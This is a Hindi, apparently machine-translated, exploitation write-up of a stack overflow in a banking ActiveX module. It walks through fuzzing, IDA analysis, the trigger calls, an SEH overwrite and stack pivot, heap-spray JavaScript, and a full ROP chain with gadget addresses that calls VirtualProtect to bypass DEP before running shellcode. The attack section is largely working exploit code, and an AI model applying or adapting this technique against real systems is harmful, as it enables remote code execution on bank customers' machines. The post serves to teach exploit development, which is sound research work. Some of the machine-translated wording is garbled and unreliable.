स्टैक को लूटने की शैली में बैंक को तोड़ना!

सिर्फ XSS नहीं ...

हाल ही में, कई लोग बैंकिंग क्षेत्र में उपयोग किए जाने वाले सॉफ़्टवेयर की कमजोरियों पर ध्यान दे रहे हैं: विशेष रूप से, हाल ही में विभिन्न बैंकों की वेबसाइटों पर XSS वर्ग की कमजोरियों के बारे में समाचारों ने हाल ही में शोर मचाया है। जनता आक्रोश में है और मीडिया शोर कर रहा है। लेकिन बैंक न केवल वेब घटक में समृद्ध हैं। 2000 के दशक के उत्तरार्ध से, मैं ActiveX मॉड्यूल में कमजोरियों को इकट्ठा कर रहा हूं जो कि बैंक अपने उपयोगकर्ताओं को, अर्थात् रिमोट बैंकिंग सिस्टम (RBS) के ग्राहकों को गर्व से वितरित करते हैं। साल में एक बार मैंने एक या दो सिस्टम लिए और उन्हें चुना। ठीक वैसे ही शुरू, जिज्ञासा के लिए (मैंने बैंक के कर्मचारी होते हुए भी यह व्यवसाय शुरू किया) और पहले से ही शोध हित से बाहर रहा। परिणामस्वरूप, 3-4 वर्षों में मैंने बीएसएस, इनिस्ट, आर-स्टाइल, सीएफटी जैसे निर्माताओं के सिस्टम में कमजोरियों की पहचान की। कटौती के तहत इस तरह के एक भेद्यता के बारे में जानकारी है। अधिकांश विवरण ग्राहक पक्ष (विंडोज 7, आईई + डीईपी / एएसएलआर) पर मनमाना कोड निष्पादित करने के लिए एक सरल शोषण बनाने के लिए समर्पित है। शायद यह उन लोगों के लिए उपयोगी होगा जो पुराने 'स्ट्रैची' कीड़े के शोषण और आरओपी कारनामे बनाने के सिद्धांतों को समझना चाहेंगे।

टिप्पणी

ALMOST प्रश्न में सभी कमजोरियों को अब ठीक कर दिया गया है। इस पोस्ट में विशेष रूप से प्रश्न में भेद्यता एक लंबे समय से पहले तय की गई है । RBS के इस निर्माता को इस पोस्ट के "पीड़ित" के रूप में चुना गया है, क्योंकि इसमें एक प्रविष्टि बिंदु है , जिसका अर्थ है कि यह एक जगह ActiveX को अपडेट करने के लिए पर्याप्त है। यह अन्य निर्माताओं के साथ अधिक जटिल है, क्योंकि हर बैंक को SEPARATELY और स्वतंत्र रूप से होने की आवश्यकता है, इसलिए संभावना है कि BSS / Inist / R-Style में पुरानी कमजोरियों के लिए भी, एक स्थापित अपडेट के बिना इंस्टॉलेशन हैं।

स्वयं भेद्यता की खोज की गई और तुरंत 2010 में तय की गई। इसलिए, इस पोस्ट से किसी को कोई नुकसान नहीं होगा, केवल एक सबक ... 8)

शुरुआत

इंटरनेट बैंकिंग प्रणाली के उपयोगकर्ता एक ActiveX घटक के रूप में एक "उपांग" प्राप्त करते हैं। यह सॉफ्टवेयर डिजिटल हस्ताक्षर, दस्तावेजों के साथ, आदि के साथ काम करने के लिए जिम्मेदार है। यह लिखा है, एक नियम के रूप में, सी या सी ++ में। और इसका मतलब है कि लाइन प्रारूप त्रुटियों, बफर ओवरफ्लो, या त्रुटियां जैसे बिंदुओं के साथ काम करने जैसी चीजें इस प्रकार के सॉफ़्टवेयर की काफी विशेषता हैं। अध्ययन के तहत घटक उन सभी ग्राहकों के लिए स्वचालित रूप से स्थापित किया गया था जो एक विशेष वेब पेज से सीधे प्रमाण पत्र के साथ काम करना चाहते थे:



घटक स्थापित है, उत्कृष्ट है। हालांकि, मैं यह नोट करना चाहूंगा कि यह मॉड्यूल केवल बैंक के डोमेन से सक्रिय हो सकता है, जिसका अर्थ है कि इस मॉड्यूल की कमजोरियों का फायदा उठाने के लिए, आपको या तो XSS- प्रकार के बग का उपयोग करना होगा, या "बीच में व्यक्ति" होना चाहिए। यह किसी हमले की संभावना को बहुत कम करता है, लेकिन इसे अवास्तविक नहीं बनाता है।

भेद्यता खोज

छेद की खोज करते समय शैली का एक क्लासिक, निश्चित रूप से, फ़ज़िंग है। इस सॉफ़्टवेयर को "प्रोसीज़िट" करने के लिए, आप उदाहरण के लिए, प्रसिद्ध टूल - COMRaider का उपयोग कर सकते हैं। इसका उपयोग कैसे करें, मैंने हैकर पत्रिका में वर्णित किया है। प्रौद्योगिकी का सार सरल है: ActiveX वर्ग के सभी तरीकों और गुणों को विभिन्न मापदंडों के साथ कहा जाता है, उदाहरण के लिए, सम्मिलित प्रारूप विनिर्देशक के साथ लंबी लाइनें या रेखाएं। और अगर कोई त्रुटि है, उदाहरण के लिए, एक लंबी लाइन को संसाधित करते समय एक बफर अतिप्रवाह, एक अपवाद पंजीकृत है (आवेदन बस दुर्घटनाग्रस्त हो जाता है)। लेकिन यहाँ दुर्भाग्य है: फ़ज़िंग करने के बाद, COMRaider को कोई असाधारण स्थिति नहीं मिली, एक भी भेद्यता नहीं - सब कुछ सुचारू रूप से चला गया। हुर्रे, कोई छेद नहीं!

या ...

हालांकि, इस बारे में संदेह थे। फिर भी, कोड के साथ DLL 2006 तक वापस आता है। पुस्तकालय को आईडीए में लोड करने और स्ट्रैपी जैसे प्रसिद्ध समारोह में कॉल की संख्या पर त्वरित नज़र डालने के बाद, मैं शायद ही आश्चर्यचकित था। यह सब संकेत देता था कि अभी भी कमजोरियां हैं।



आईडीए में इन सभी कॉल का विश्लेषण भी किया जा सकता है (समानांतर में, आप डिबगर का उपयोग भी कर सकते हैं, उदाहरण के लिए इम्युनिटी डीबगर, स्थिति को और अधिक तेज़ी से समझने और गतिशील कॉल का विश्लेषण करने के लिए)। कोड विश्लेषण का एक अनिश्चित समय और डीबगर में निश्चित संख्या में शुरू होने के माध्यम से, यह पता चला था कि फेजर कार्यक्षमता का हिस्सा केवल MISSED था, क्योंकि विधि के अन्य गुणों के मूल्य पर स्पष्ट जांच थी। यही है, फ़ज़र ने सभी तरीकों और गुणों का अलग-अलग विश्लेषण किया, और इसलिए कोड का हिस्सा बस कवर नहीं किया गया था (ओह, यह बांध फ़ज़िंग)। उदाहरण के लिए, LogFileName गुण लॉग फ़ाइल का नाम सेट करें। और यह नाम एक विशेष बफर में संग्रहीत है और इसका उपयोग लॉग एंट्री उत्पन्न करने वाले अन्य तरीकों को कॉल करते समय किया जाता है। जबकि फेजर ने ऐसा करने की कोशिश की:

object.LogFileName=long_buff;

जैसे, कोई भेद्यता नहीं है। लॉग फ़ाइल बनाते समय त्रुटि हैंडलिंग फ़ंक्शन में यह आगे है (चलो इसे vuln कहते हैं)। यह फ़ंक्शन कहा जाता है यदि LogEnabled> 0, LogFileName सेट है, और लॉग फ़ाइल नहीं बनाई जा सकती है। ऑपरेशन के वेक्टर को संकलित करने के लिए, आपको इस फ़ंक्शन के लिए पथ का पता लगाने की आवश्यकता है। हालाँकि, आईडीए 6.2 में, यह अत्यंत सरल है: निकटता ब्राउज़र + पाथ पाथ। यह कार्यक्षमता किसी भी कॉल के बीच का रास्ता खोजने में मदद करती है, यदि कोई हो। उदाहरण के लिए, इस तरह:



यह देखा जा सकता है कि ImportKey () वर्ग की सार्वजनिक पद्धति से वल्न फ़ंक्शन (और, परिणामस्वरूप, स्ट्रैची) का एक मार्ग है। वास्तव में, कक्षा के लगभग सभी तरीके लॉग में कुछ लिखने का प्रयास करते हैं, इसलिए कई से ऐसा तरीका है:



यह हमें बताता है कि वल्न फंक्शन (इंपोर्टकी से) को कॉल करने के लिए, हमें इसे एक बार में करना चाहिए:

 object.LogEnabled=1; object.LogFileName=”xxx_c:\log.txt”; object.ImportKey(1); // vuln(); 

अन्य मामलों में, वल्न फ़ंक्शन को बस नहीं कहा जाता है। यह इस तथ्य के बारे में है कि एक फ़ज़िंग अक्सर पर्याप्त नहीं होता है, वह कई सूक्ष्मताओं के बारे में नहीं जानता है ... अब हम विचार करेंगे कि वास्तव में क्या गलती है। ऐसा करने के लिए, मैं वल्कन फंक्शन कोड का एक सरलीकृत टुकड़ा दे दूंगा, सीधे स्ट्रैची कॉल के साथ:

 … char* vuln(char *bufferOut, char *fileName){ char *errorText="      '%1'."; while(!*errorText) { if(errorText=='%' && (errorText+1)<'9') //  %1 { strcpy(bufferOut,fileName); //errorText rewrite! bufferOut+=strlen(fileName);//  *errorText++; } *bufferOut++=*errorText++; //Stack overflow (errorText<bufferOut) } return *bufferOut; } 

फ़ंक्शन का सार एक त्रुटि संदेश की पीढ़ी है, टेम्पलेट स्वयं त्रुटिट चर में निहित है। लूप में, टेम्पलेट (errorText) को बफरऑट चर में कॉपी किया जाता है। यह स्वचालित रूप से फ़ाइल नाम के लिए% 1 को प्रतिस्थापित करता है - फ़ाइलनाम। सब्स्टीट्यूशन को स्ट्रैची कहकर किया जाता है। फ़ाइल नाम सार्वजनिक LogFileName विधि द्वारा सेट किया गया है। तदनुसार, अगर LogFileName लंबा है, तो बफरऑट सीमा से परे जाएगा। क्लासिक बफर अतिप्रवाह। लेकिन हास्य यह है कि पर्याप्त रूप से लंबी फ़ाइलनाम मान के साथ, errorText को अधिलेखित कर दिया जाएगा। और चूंकि लूप एररटेक्स्ट के अंत (शून्य बाइट) में जाता है, यह अनिश्चित काल तक चला जाएगा, स्टैक को उसके बहुत अंत (शुरुआत) तक नष्ट कर देगा। सब के बाद, ओवरराइटिंग के बाद (strcpy कॉल के कारण बफर अतिप्रवाह), errorText में फ़ाइलनाम का हिस्सा होगा, और सूचक बफरऑउट से कम होगा। यह पता चलता है कि इस लूप में, वर्तमान एररटेक्स्ट पॉइंटर, बफरऑट के मध्य को इंगित करेगा, जिसका पॉइंटर बढ़ेगा। परिणाम एक लूप है।

इससे पहले कि strcpy:



अकड़ के बाद:



और लूप के अंत में, एक अपवाद होता है, क्योंकि वे स्टैक से आगे निकल गए:



जाहिर है, हमने पॉइंटर को अपवाद हैंडलर को भी मिटा दिया ...

शोषण

इस अध्याय को अतिप्रवाह के लिए अच्छे पुराने शोषण के विवरण के रूप में माना जा सकता है। शैली के क्लासिक्स! इसलिए, हमने एसईएच को फिर से लिखा और एक असाधारण स्थिति बनाई जब बफरऑट ने स्टैक के पीछे एक अज्ञात जगह की ओर इशारा करना शुरू कर दिया। परिणामस्वरूप, प्रोग्राम को पॉइंटर द्वारा नियंत्रण स्थानांतरित करना चाहिए:



हमारा काम हैंडलर को पॉइंटर के बजाय शेलकोड पॉइंटर को स्लिप करना है। चूंकि IE डीईपी सुरक्षा के साथ काम करता है, इसलिए यह विकल्प रोल नहीं करता है, क्योंकि हमारा शेलकोड (स्टैक पर या ढेर पर) मेमोरी में है जो निष्पादन योग्य के रूप में चिह्नित नहीं है। हम भाग्यशाली हैं कि ActiveX RBS मॉड्यूल ASLR और SafeSEH के समर्थन के बिना संकलित किया गया था। पहला हमें इस पुस्तकालय से स्मृति में निर्देशों के पते का ज्ञान देता है, और दूसरा - अपवाद हैंडलर के रूप में इनमें से किसी भी पते का उपयोग करने की क्षमता। इस प्रकार, ASLR (आंशिक रूप से) और SafeSEH (पूरी तरह से) को दरकिनार करने की समस्या अपने आप ही गायब हो गई। आखिरकार, तथाकथित रिटर्न-ओरिएंटेड प्रोग्रामिंग (आरओपी) खेल में आता है। आप पढ़ सकते हैं कि ROP हैकर पत्रिका के एक लेख में कैसे काम करता है। नीचे की रेखा सरल है: एक हैंडलर के रूप में, हम एक ही मॉड्यूल से निर्देश को इंगित करते हैं, .text अनुभाग से, जो निश्चित रूप से, निष्पादन योग्य है, और हम निश्चित रूप से वहां के पते जानते हैं। नतीजतन, इन निर्देशों को निष्पादित किया जाएगा, और नियंत्रण से बाहर किए जाने के बाद नियंत्रण हटाने के लिए, अंतिम निर्देश एक वापसी निर्देश होना चाहिए - RET / RET n (या JMP / CALL reg, लेकिन यह कम आम है)। फिर अगले निर्देश को स्टैक से सहेजे गए निकास पते के रूप में लिया जाएगा। लेकिन हम अभी भी स्टैक को नियंत्रित नहीं करते हैं (एसईएच को संसाधित करते समय, स्टैक "शिफ्ट्स")। इसलिए, इस तरह का पहला निर्देश ईएसपी को हमारे नियंत्रण वाले क्षेत्र पर पुनर्निर्देशित करना चाहिए। इस क्षेत्र में अन्य रिटर्न-निष्पादन पते होंगे। उदाहरण के लिए, SEH के लिए एक पॉइंटर के बजाय, हम निम्नलिखित पता (ASCII होना चाहिए): 10014324 डालें

0x10014324: MOV ESP, 3b1002b1 / RETN

नतीजतन, ईएसपी 0x3b1002b1 को इंगित करेगा। लेकिन इस पते पर मेमोरी मुफ्त है, और परिणामस्वरूप, RETN अगले निर्देश का पता नहीं ले पाएगा ...

HeapSpray

चूंकि मेमोरी मुफ्त है, तो आप इसे ले सकते हैं। इस समस्या को तुच्छ - हीप स्प्रे से हल किया जाता है। हम अपने डेटा के साथ बड़े ऐरे बनाने के लिए जावास्क्रिप्ट का उपयोग करते हैं। IE9 (और नई FF में कुछ) के पास स्प्रे स्प्रे - नोजल और बबल के खिलाफ सुरक्षा है, लेकिन थोड़ा यादृच्छिककरण को ध्यान में रखते हुए, इसे हल भी किया जाता है, लेकिन IE8 में सब कुछ सरल है:

 var data= ROP_NOP + ROP + SHELLCODE; bk=data.substring(0,data.length); while(bk.length<0x40000) bk = bk+bk; var h1=new Array(); h1[0] = bk; for (var i = 1 ; i < 1800 ; i++) { h1[i]= h1[0].substring(0,h1[0].length ); } 

ROP_NOP - यह डेटा 0x3b1002b1 पते पर जाना चाहिए। यह मान MOV ESP, 0x3b1002b1 के बाद RET के लिए पता होगा। ROP_NOP RETN निर्देश के डुप्लिकेट पते के साथ एक बड़ा पर्याप्त टुकड़ा होना चाहिए। यह एक तरह का आरओपी एनओपी एनालॉग है। उदाहरण के लिए, पते पर 0x1001023c निर्देश RETN निहित है।

आरओपी - यहां निर्देशों के लिए पतों का एक समूह है जो सामूहिक रूप से कर्नेल 32 के लिए खोज करते हैं। विवादास्पदप्रोटेक्ट फ़ंक्शन, और फिर इसे हमारे ढेर पर कॉल करते हैं, इसे निष्पादन योग्य बनाते हैं (इस तरह से डीईपी को बायपास करें)। तब आप हीप पर नियंत्रण स्थानांतरित कर सकते हैं।

SHELLCODE - VirtualProtect को कॉल करने के बाद नियंत्रण यहां स्थानांतरित किया जाता है। यहां शेलकोड (विशिष्ट निर्देश) है।



यहां हम ट्रिगर भेद्यता से पहले मेमोरी को रोक रहे हैं। फिर, जब अपवाद हैंडलर कहा जाता है, तो ESP पॉइंटर हम उस डेटा को इंगित करेगा जिसे हम नियंत्रित करते हैं जहां ROP प्रोग्राम झूठ होगा। एक कारनामे और ROP कार्यक्रम का वीडियो उदाहरण:



सुरक्षा समस्याओं के लिए पर्याप्त प्रतिक्रिया के लिए डेवलपर को धन्यवाद। मॉड्यूल के पुराने संस्करण के साथ, सिस्टम में इसकी अनुमति नहीं है!



आपके साथ d00kie था। आशा है कि यह मजेदार था। Hack'em'all 8)

पुनश्च

जिज्ञासु के लिए, मैं आरओपी कार्यक्रम लाता हूं:

//0x10009de4 -- POP EDI # POP ESI # POP EBX # RETN
//0xffffffcc -- EDI (-52)
//0x11111111 -- ESI
//0x1002b074 – kernel32.flushinstructioncache EBX
//0x10013f67 -- ADD EDI,DWORD PTR DS:[EBX] # RETN
// VirtualProtect ( [EBX]-52=VirtualProtect ... 8)
//0x1000bf35 -- MOV EAX,EDI # POP EDI # POP ESI # RETN 04 VirtualProtect EAX
//0x11111111 -- trash
//0x11111111 -- trash
//0x1002879d -- PUSH EAX # RETN // call VirtualProtect
//0x11111111 -- trash
//0x1000fd72 -- JMP ESP <--- VP, ESP,
//0x3b1002b5 -- (1) <--- VP
//0x00010000 – (2) ( , )
//0x00000040 – (3) RWX <---
//0x3b1002b1 – (4)
//0x90909090 -- VP, (NOP)

चूंकि ईआईपी और ईएसपी एक ही पृष्ठ को इंगित करेंगे, इसलिए यह शेलकोड संचालन को नकारात्मक रूप से प्रभावित करेगा (उदाहरण के लिए, WinExec- कॉल काम नहीं करेगा)। इसलिए, शेलकोड से पहले (जो मैंने मेटासप्लिट से लिया था), आपको मैन्युअल रूप से स्टैक पर पुराने पॉइंटर के "रेस्टर" को लगाने की आवश्यकता है:

MOV ESP, EBP

-

प्रयुक्त सॉफ्टवेयर:

COMRaider
आईडीए 6.2 डेमो
इम्यूनिटी डिबगर
mona.py
TypeLib ब्राउज़र